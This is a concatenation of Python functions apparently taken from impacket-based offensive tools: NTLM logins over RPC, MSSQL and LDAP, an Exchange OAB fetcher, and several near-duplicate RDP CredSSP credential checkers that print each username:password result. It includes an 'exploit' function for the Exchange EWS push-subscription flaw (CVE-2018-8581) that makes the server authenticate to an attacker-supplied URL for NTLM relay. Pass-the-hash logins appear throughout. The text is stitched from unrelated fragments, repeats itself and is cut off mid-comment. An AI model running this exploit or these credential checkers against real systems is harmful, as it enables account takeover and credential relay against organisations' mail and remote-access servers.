bindResp['max_tfrag'] if self.__auth_level != ntlm.NTLM_AUTH_NONE: response, randomSessionKey = ntlm.getNTLMSSPType3( auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, True) response['auth_ctx_id'] = self._ctx + 79231 response['auth_level'] = self.__auth_level self.__flags = response['flags'] if self.__auth_level in (ntlm.NTLM_AUTH_CONNECT, ntlm.NTLM_AUTH_PKT_INTEGRITY, ntlm.NTLM_AUTH_PKT_PRIVACY): if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY( self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY( self.__flags, randomSessionKey, "Server") self.__clientSealingKey = ntlm.SEALKEY( self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY( self.__flags, randomSessionKey, "Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt self.__sequence = 0 auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx=1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
def login(self, database, username, password='', domain='', hashes=None, useWindowsAuth=False): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) nthash = binascii.a2b_hex(nthash) else: lmhash = '' nthash = '' resp = self.preLogin() # Test this! if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[ 'Encryption'] == TDS_ENCRYPT_OFF: self.__logger.logMessage( "[!] Encryption required, switching to TLS") # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx, None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data, 0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16 * 1024 - 1 self.tlsSocket = tls login = TDS_LOGIN() login['HostName'] = (''.join([ random.choice(string.letters) for i in range(8) ])).encode('utf-16le') login['AppName'] = (''.join([ random.choice(string.letters) for i in range(8) ])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0, 1024) login['PacketSize'] = self.packetSize if database is not None: login['Database'] = database.encode('utf-16le') login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON if useWindowsAuth is True: login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1('WORKSTATION', '') login['SSPI'] = str(auth) else: login['UserName'] = username.encode('utf-16le') login['Password'] = self.encryptPassword( password.encode('utf-16le')) login['SSPI'] = '' login['Length'] = len(str(login)) # Send the NTLMSSP Negotiate or SQL Auth Packet self.sendTDS(TDS_LOGIN7, str(login)) # According to the spects, if encryption is not required, we must encrypt just # the first Login packet :-o if resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() if useWindowsAuth is True: serverChallenge = tds['Data'][3:] # Generate the NTLM ChallengeResponse AUTH type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, serverChallenge, username, password, domain, lmhash, nthash) self.sendTDS(TDS_SSPI, str(type3)) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if self.replies.has_key(TDS_LOGINACK_TOKEN): return True else: return False
def checkoab(host, port, mode, email, data): OABID = input("Input the OABID:") OAB_url = "/OAB/" + OABID + "/oab.xml" tmp = email.split('@') user = tmp[0] if port == 443: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(host, port, context=uv_context) except AttributeError: session = HTTPSConnection(host, port) else: session = HTTPConnection(host, port) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(host) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers headers = { "Authorization": 'NTLM %s' % negotiate.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("GET", OAB_url, "", headers) res = session.getresponse() res.read() if res.status != 401: print( 'Status code returned: %d. Authentication does not seem required for URL' % (res.status)) return False try: if 'NTLM' not in res.getheader('WWW-Authenticate'): print('NTLM Auth not offered by URL, offered protocols: %s' % (res.getheader('WWW-Authenticate'))) return False except (KeyError, TypeError): print('No authentication requested by the server for url %s' % (OAB_url)) return False print('[*] Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): print('No NTLM challenge returned from server') return False if mode == 'plaintext': password1 = data nt_hash = '' elif mode == 'ntlmhash': password1 = '' nt_hash = binascii.unhexlify(data) else: print('[!] Wrong parameter') return False lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user, password1, host, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) headers = { "Authorization": 'NTLM %s' % auth.decode('utf-8'), "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" } session.request("GET", OAB_url, "", headers) res = session.getresponse() body = res.read() if res.status == 401: print('[!] Server returned HTTP status 401 - authentication failed') return False else: filename = "checkOAB.xml" print('[+] Save response file to %s' % (filename)) with open(filename, 'w+', encoding='utf-8') as file_object: file_object.write(bytes.decode(body)) pattern_name = re.compile(r">(.+lzx)<") name = pattern_name.findall(bytes.decode(body)) if name: print('[+] Default Global Address:%s' % (name[0])) return True
def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = binascii.a2b_hex(lmhash) nthash = binascii.a2b_hex(nthash) else: lmhash = '' nthash = '' resp = self.preLogin() # Test this! if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: print "[!] Encryption required, switching to TLS" # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_METHOD) ctx.set_cipher_list('RC4') tls = SSL.Connection(ctx,None) tls.set_connect_state() while True: try: tls.do_handshake() except SSL.WantReadError: data = tls.bio_read(4096) self.sendTDS(TDS_PRE_LOGIN, data,0) tds = self.recvTDS() tls.bio_write(tds['Data']) else: break # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, # Transport Layer Security(TLS), limit data fragments to 16k in size. self.packetSize = 16*1024-1 self.tlsSocket = tls login = TDS_LOGIN() login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) login['PacketSize'] = self.packetSize if database is not None: login['Database'] = database.encode('utf-16le') login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON if useWindowsAuth is True: login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1('WORKSTATION','') login['SSPI'] = str(auth) else: login['UserName'] = username.encode('utf-16le') login['Password'] = self.encryptPassword(password.encode('utf-16le')) login['SSPI'] = '' login['Length'] = len(str(login)) # Send the NTLMSSP Negotiate or SQL Auth Packet self.sendTDS(TDS_LOGIN7, str(login)) # According to the spects, if encryption is not required, we must encrypt just # the first Login packet :-o if resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() if useWindowsAuth is True: serverChallenge = tds['Data'][3:] # Generate the NTLM ChallengeResponse AUTH type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash) self.sendTDS(TDS_SSPI, str(type3)) tds = self.recvTDS() self.replies = self.parseReply(tds['Data']) if self.replies.has_key(TDS_LOGINACK_TOKEN): return True else: return False
def create_channel(self, method, headers): if self._rpcProxyUrl.scheme == 'http': self.__channels[method] = HTTPConnection(self._rpcProxyUrl.netloc) else: try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) self.__channels[method] = HTTPSConnection( self._rpcProxyUrl.netloc, context=uv_context) except AttributeError: self.__channels[method] = HTTPSConnection( self._rpcProxyUrl.netloc) auth = ntlm.getNTLMSSPType1(domain=self.__domain) auth_headers = headers.copy() auth_headers['Content-Length'] = '0' auth_headers['Authorization'] = b'NTLM ' + base64.b64encode( auth.getData()) self.__channels[method].request(method, self._rpcProxyUrl.path, headers=auth_headers) res = self.__channels[method].getresponse() res.read() if res.status != 401: raise RPCProxyClientException( 'Status code returned: %d. Authentication does not seem required for url %s' % (res.status, self._rpcProxyUrl.path)) if res.getheader('WWW-Authenticate') is None: raise RPCProxyClientException( 'No authentication requested by the server for url %s' % self._rpcProxyUrl.path) if 'NTLM' not in res.getheader('WWW-Authenticate'): raise RPCProxyClientException( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) try: serverChallengeBase64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) except (IndexError, KeyError, AttributeError): raise RPCProxyClientException( 'No NTLM challenge returned from server for url %s' % self._rpcProxyUrl.path) # Default ACL in HKLM\SOFTWARE\Microsoft\Rpc\ValidPorts allows connections only by NetBIOS name of the server. # If remoteName is empty we assume the target is the rpcproxy server, and get its NetBIOS name from NTLMSSP. # # Interestingly, if Administrator renames the server, the ACL remains the original. if not self.__ntlmssp_info: challenge = ntlm.NTLMAuthChallenge(serverChallenge) self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields']) if not self.__remoteName: self.__remoteName = self.__ntlmssp_info[ ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') self._stringbinding.set_network_address(self.__remoteName) if not self._rpcProxyUrl.query: query = self.__remoteName + ':' + str(self.__dstport) self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, serverChallenge, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) headers['Authorization'] = b'NTLM ' + base64.b64encode(type3.getData()) self.__channels[method].request(method, self._rpcProxyUrl.path + '?' + self._rpcProxyUrl.query, headers=headers) auth_resp = self.__channels[method].sock.recv(8192) if auth_resp != b'HTTP/1.1 100 Continue\r\n\r\n': try: auth_resp = auth_resp.split(b'\r\n')[0].decode( "utf-8", errors='replace') raise RPCProxyClientException( 'RPC Proxy authentication failed in %s channel' % method, proxy_error=auth_resp) except (IndexError, KeyError, AttributeError): raise RPCProxyClientException( 'RPC Proxy authentication failed in %s channel' % method)
def exploit(args): ews_url = "/EWS/Exchange.asmx" exchange_version = args.exchange_version # Should we log debug stuff? if args.debug is True: logging.getLogger().setLevel(logging.DEBUG) if args.password is None and args.hashes is None: args.password = getpass.getpass() # Init connection if not args.no_ssl: # HTTPS = default port = 443 if args.exchange_port: port = int(args.exchange_port) try: uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) session = HTTPSConnection(args.host, port, timeout=10, context=uv_context) except AttributeError: session = HTTPSConnection(args.host, port, timeout=10) else: # Otherwise: HTTP port = 80 if args.exchange_port: port = int(args.exchange_port) session = HTTPConnection(args.host, port, timeout=10) # Construct attacker url if args.attacker_port != 80: attacker_url = 'http://%s:%d%s' % ( args.attacker_host, int(args.attacker_port), args.attacker_page) else: attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page) logging.info('Using attacker URL: %s', attacker_url) # Use impacket for NTLM ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain) #Negotiate auth negotiate = base64.b64encode(ntlm_nego.getData()) # Headers # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py headers = { "Authorization": 'NTLM %s' % negotiate, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY % (exchange_version, attacker_url), headers) res = session.getresponse() res.read() # Copied from ntlmrelayx httpclient.py if res.status != 401: logging.info( 'Status code returned: %d. Authentication does not seem required for URL', res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): logging.error( 'NTLM Auth not offered by URL, offered protocols: %s', res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): logging.error('No authentication requested by the server for url %s', ews_url) return False logging.debug('Got 401, performing NTLM authentication') # Get negotiate data try: ntlm_challenge_b64 = re.search( 'NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) ntlm_challenge = base64.b64decode(ntlm_challenge_b64) except (IndexError, KeyError, AttributeError): logging.error('No NTLM challenge returned from server') return False if args.hashes: lm_hash_h, nt_hash_h = args.hashes.split(':') # Convert to binary format lm_hash = binascii.unhexlify(lm_hash_h) nt_hash = binascii.unhexlify(nt_hash_h) args.password = '' else: nt_hash = '' lm_hash = '' ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user, args.password, args.domain, lm_hash, nt_hash) auth = base64.b64encode(ntlm_auth.getData()) #print("Get Auth: "+auth) headers = { "Authorization": 'NTLM %s' % auth, "Content-type": "text/xml; charset=utf-8", "Accept": "text/xml", "User-Agent": "ExchangeServicesClient/0.0.0.0", "Translate": "F" } session.request("POST", ews_url, POST_BODY % (exchange_version, attacker_url), headers) res = session.getresponse() logging.debug('HTTP status: %d', res.status) body = res.read() logging.debug('Body returned: %s', body) if res.status == 200: logging.info( 'Exchange returned HTTP status 200 - authentication was OK') # Parse XML with ElementTree root = ET.fromstring(body) code = None for response in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode' ): code = response.text if not code: logging.error('Could not find response code element in body: %s', body) return False if code == 'NoError': logging.critical('API call was successful') return True elif code == 'ErrorMissingEmailAddress': logging.error( 'The user you authenticated with does not have a mailbox associated. Try a different user.' ) return False else: logging.error('Unknown error %s', code) for errmsg in root.iter( '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages' ): logging.error('Server returned: %s', errmsg.text) return False elif res.status == 401: logging.error( 'Server returned HTTP status 401 - authentication failed') return False else: logging.error('Server returned HTTP %d: %s', res.status, body) return True
def check_rdp(host, username, password, domain, hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = rdp_neg.getData() tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = tpdu.getData() s = socket.socket() s.connect((host, 3389)) #port default s.sendall(tpkt.getData()) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error( "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials" ) return else: rdp_neg.fromString(tpdu['VariablePart']) # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation # 1. The CredSSP client and CredSSP server first complete the TLS handshake, # as specified in [RFC2246]. After the handshake is complete, all subsequent # CredSSP Protocol messages are encrypted by the TLS channel. # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS # handshake, the CredSSP server does not request the client's X.509 certificate # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require # the client to have a commonly trusted certification authority root with the # CredSSP server. Thus, the CredSSP server MAY use, for example, # a self-signed X.509 certificate. # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_cipher_list(b'RC4,AES') tls = SSL.Connection(ctx, s) tls.set_connect_state() tls.do_handshake() # If you want to use Python internal ssl, uncomment this and comment # the previous lines #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4') # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client # and server completes mutual authentication and establishes an encryption key # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to # the calling application (the CredSSP client and CredSSP server). # The wire protocol for SPNEGO is specified in [MS-SPNG]. # The SPNEGO tokens exchanged between the client and the server are encapsulated # in the negoTokens field of the TSRequest structure. Both the client and the # server use this structure as many times as necessary to complete the SPNEGO # exchange.<9> # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True) ts_request = TSRequest() ts_request['NegoData'] = auth.getData() tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3( auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2=True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = b'\x30' + asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = type3.getData() ts_request['pubKeyAuth'] = signature.getData() + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception as err: if str(err).find("denied") > 0: # logging.error("Access Denied") sys.stdout.write('\r[-] [%s:%s] Access Denied ' % (username, password)) else: logging.error(err) time.sleep(5) return # 4. After the server receives the public key in step 3, it first verifies that # it has the same public key that it used as part of the TLS handshake in step 1. # The server then adds 1 to the first byte representing the public key (the ASN.1 # structure corresponding to the SubjectPublicKey field, as described in step 3) # and encrypts the binary result by using the SPNEGO encryption services. # Due to the addition of 1 to the binary data, and encryption of the data as a binary # structure, the resulting value may not be valid ASN.1-encoded values. # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest # structure and is sent over the encrypted TLS channel to the client. # The addition of 1 to the first byte of the public key is performed so that the # client-generated pubKeyAuth message cannot be replayed back to the client by an # attacker. # # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens # fields are omitted from the TSRequest structure. ts_request = TSRequest(buff) # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) # 5. After the client successfully verifies server authenticity by performing a # binary comparison of the data from step 4 to that of the data representing # the public key from the server's X.509 certificate (as specified in [RFC3280], # section 4.1), it encrypts the user's credentials (either password or smart card # PIN) by using the SPNEGO encryption services. The resulting value is # encapsulated in the authInfo field of the TSRequest structure and sent over # the encrypted TLS channel to the server. # The TSCredentials structure within the authInfo field of the TSRequest # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, # but MUST NOT contain both. # # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens # fields are omitted from the TSRequest structure. tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = signature.getData() + cripted_creds tls.send(ts_request.getData()) tls.close() # logging.info("\rAccess Granted\n") sys.stdout.write('\r[+] [%s:%s] Access Granted\n' % (username, password)) return True
def check_rdp(host, username, password, domain, hashes = None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = str(rdp_neg) tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = str(tpdu) s = socket.socket() s.connect((host,3389)) s.sendall(str(tpkt)) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials") return else: rdp_neg.fromString(tpdu['VariablePart']) # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation # 1. The CredSSP client and CredSSP server first complete the TLS handshake, # as specified in [RFC2246]. After the handshake is complete, all subsequent # CredSSP Protocol messages are encrypted by the TLS channel. # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS # handshake, the CredSSP server does not request the client's X.509 certificate # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require # the client to have a commonly trusted certification authority root with the # CredSSP server. Thus, the CredSSP server MAY use, for example, # a self-signed X.509 certificate. # Switching to TLS now ctx = SSL.Context(SSL.TLSv1_2_METHOD) ctx.set_cipher_list('RC4,AES') tls = SSL.Connection(ctx,s) tls.set_connect_state() tls.do_handshake() # If you want to use Python internal ssl, uncomment this and comment # the previous lines #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4') # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client # and server completes mutual authentication and establishes an encryption key # that is used by the SPNEGO confidentiality services, as specified in [RFC4178]. # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to # the calling application (the CredSSP client and CredSSP server). # The wire protocol for SPNEGO is specified in [MS-SPNG]. # The SPNEGO tokens exchanged between the client and the server are encapsulated # in the negoTokens field of the TSRequest structure. Both the client and the # server use this structure as many times as necessary to complete the SPNEGO # exchange.<9> # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) ts_request = TSRequest() ts_request['NegoData'] = str(auth) tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = '\x30'+ asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = str(type3) ts_request['pubKeyAuth'] = str(signature) + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception, err: if str(err).find("denied") > 0: logging.error("Access Denied") else: logging.error(err) return
def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'): """ logins into the target system :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string authenticationChoice: type of authentication protocol to use (default NTLM) :return: True, raises a LDAPSessionError if error. """ bindRequest = BindRequest() bindRequest['version'] = 3 if authenticationChoice == 'simple': if '.' in domain: bindRequest['name'] = user + '@' + domain elif domain: bindRequest['name'] = domain + '\\' + user else: bindRequest['name'] = user bindRequest['authentication']['simple'] = password response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyPackageDiscovery': bindRequest['name'] = user bindRequest['authentication']['sicilyPackageDiscovery'] = '' response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sicilyNegotiate': # Deal with NTLM Authentication if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0' + lmhash if len(nthash) % 2: nthash = '0' + nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except TypeError: pass bindRequest['name'] = user # NTLM Negotiate negotiate = getNTLMSSPType1('', domain) bindRequest['authentication']['sicilyNegotiate'] = negotiate response = self.sendReceive(bindRequest)[0]['protocolOp'] # NTLM Challenge type2 = response['bindResponse']['matchedDN'] # NTLM Auth type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash) bindRequest['authentication']['sicilyResponse'] = type3 response = self.sendReceive(bindRequest)[0]['protocolOp'] else: raise LDAPSessionError(errorString="Unknown authenticationChoice: '%s'" % authenticationChoice) if response['bindResponse']['resultCode'] != ResultCode('success'): raise LDAPSessionError( errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(), response['bindResponse']['diagnosticMessage']) ) return True
def check_rdp(host, username, password, domain, hashes = None): if hashes is not None: lmhash, nthash = hashes.split(':') lmhash = a2b_hex(lmhash) nthash = a2b_hex(nthash) else: lmhash = '' nthash = '' tpkt = TPKT() tpdu = TPDU() rdp_neg = RDP_NEG_REQ() rdp_neg['Type'] = TYPE_RDP_NEG_REQ rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL tpdu['VariablePart'] = str(rdp_neg) tpdu['Code'] = TDPU_CONNECTION_REQUEST tpkt['TPDU'] = str(tpdu) s = socket.socket() s.connect((host,3389)) s.sendall(str(tpkt)) pkt = s.recv(8192) tpkt.fromString(pkt) tpdu.fromString(tpkt['TPDU']) cr_tpdu = CR_TPDU(tpdu['VariablePart']) if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE: rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart']) rdp_failure.dump() logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials") return else: rdp_neg.fromString(tpdu['VariablePart']) # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation # 1. The CredSSP client and CredSSP server first complete the TLS handshake, # as specified in [RFC2246]. After the handshake is complete, all subsequent # CredSSP Protocol messages are encrypted by the TLS channel. # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS # handshake, the CredSSP server does not request the client's X.509 certificate # (thus far, the client is 